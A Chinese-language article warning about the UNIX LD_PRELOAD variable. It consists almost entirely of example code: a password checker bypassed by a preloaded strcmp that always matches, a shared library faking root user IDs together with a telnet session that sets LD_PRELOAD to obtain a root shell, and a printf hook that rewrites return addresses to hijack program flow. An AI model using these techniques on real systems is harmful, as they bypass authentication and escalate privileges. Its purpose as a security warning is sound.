警惕UNIX下的LD_PRELOAD环境变量

/* 文件名：verifypasswd.c */

/* 这是一段判断用户口令的程序，其中使用到了标准C函数strcmp*/

#include <stdio.h>

#include <string.h>

int main(int argc, char **argv)

{

char passwd[] = "password";

if (argc < 2) {

        printf("usage: %s <password>/n", argv[0]);

        return;

}

if (!strcmp(passwd, argv[1])) {

        printf("Correct Password!/n");

        return;

}

printf("Invalid Password!/n");

}

/* 文件名：hack.c */

#include <stdio.h>

#include <string.h>

int strcmp(const char *s1, const char *s2)

{

        printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);

        /* 永远返回0，表示两个字符串相等 */

        return 0;

}

/* 文件名：preload.c */

#include <dlfcn.h>

#include <unistd.h>

#include <sys/types.h>

uid_t geteuid( void ) { return 0; }

uid_t getuid( void ) { return 0; }

uid_t getgid( void ) { return 0; }

$ telnet

telnet> env def LD_PRELOAD /home/hchen/test/preload.so

telnet> open localhost

#

/* 源文件：comp.c  执行文件：comp*/

#include <stdio.h>

int main(int argc, char **argv)

{

        int a = 1, b = 2;

        if (a != b) {

                printf("Sorry!/n");

                return 0;

        }

        printf("OK!/n");

        return 1;

}

(gdb) disassemble main

Dump of assembler code for function main:

0x08048368 <main+0>:    push   %ebp

0x08048369 <main+1>:    mov    %esp,%ebp

0x0804836b <main+3>:    sub    $0x18,%esp

0x0804836e <main+6>:    and    $0xfffffff0,%esp

0x08048371 <main+9>:    mov    $0x0,%eax

0x08048376 <main+14>:   add    $0xf,%eax

0x08048379 <main+17>:   add    $0xf,%eax

0x0804837c <main+20>:   shr    $0x4,%eax

0x0804837f <main+23>:   shl    $0x4,%eax

0x08048382 <main+26>:   sub    %eax,%esp

0x08048384 <main+28>:   movl   $0x1,0xfffffffc(%ebp)

0x0804838b <main+35>:   movl   $0x2,0xfffffff8(%ebp)

0x08048392 <main+42>:   mov    0xfffffffc(%ebp),%eax

0x08048395 <main+45>:   cmp    0xfffffff8(%ebp),%eax

0x08048398 <main+48>:   je     0x80483b3 <main+75>

0x0804839a <main+50>:   sub    $0xc,%esp

0x0804839d <main+53>:   push   $0x80484b0

0x080483a2 <main+58>:   call   0x80482b0

0x080483a7 <main+63>:   add    $0x10,%esp

0x080483aa <main+66>:   movl   $0x0,0xfffffff4(%ebp)

0x080483b1 <main+73>:   jmp    0x80483ca <main+98>

0x080483b3 <main+75>:   sub    $0xc,%esp

0x080483b6 <main+78>:   push   $0x80484b8

0x080483bb <main+83>:   call   0x80482b0

0x080483c0 <main+88>:   add    $0x10,%esp

0x080483c3 <main+91>:   movl   $0x1,0xfffffff4(%ebp)

0x080483ca <main+98>:   mov    0xfffffff4(%ebp),%eax

0x080483cd <main+101>:  leave

0x080483ce <main+102>:  ret

End of assembler dump.

#include <stdarg.h>

static int (*_printf)(const char *format, ...) = NULL;

int printf(const char *format, ...)

{

    if (_printf == NULL) {

         /* 取得标准库中的printf的函数地址 */

_printf = (int (*)(const char *format, ...)) dlsym(RTLD_NEXT, "printf");

         /* 把函数返回的地址置到<main+75> */

         __asm__ __volatile__ (

                "movl 0x4(%ebp), %eax /n"

                "addl $15, %eax /n"

                "movl %eax, 0x4(%ebp)"

         );

         return 1;

    }

    /* 重置 printf的返回地址 */

    __asm__ __volatile__ (

            "addl $12, %%esp /n"

            "jmp *%0 /n"

                    : /* no output registers */

                    : "g" (_printf)

                    : "%esp"

    );

}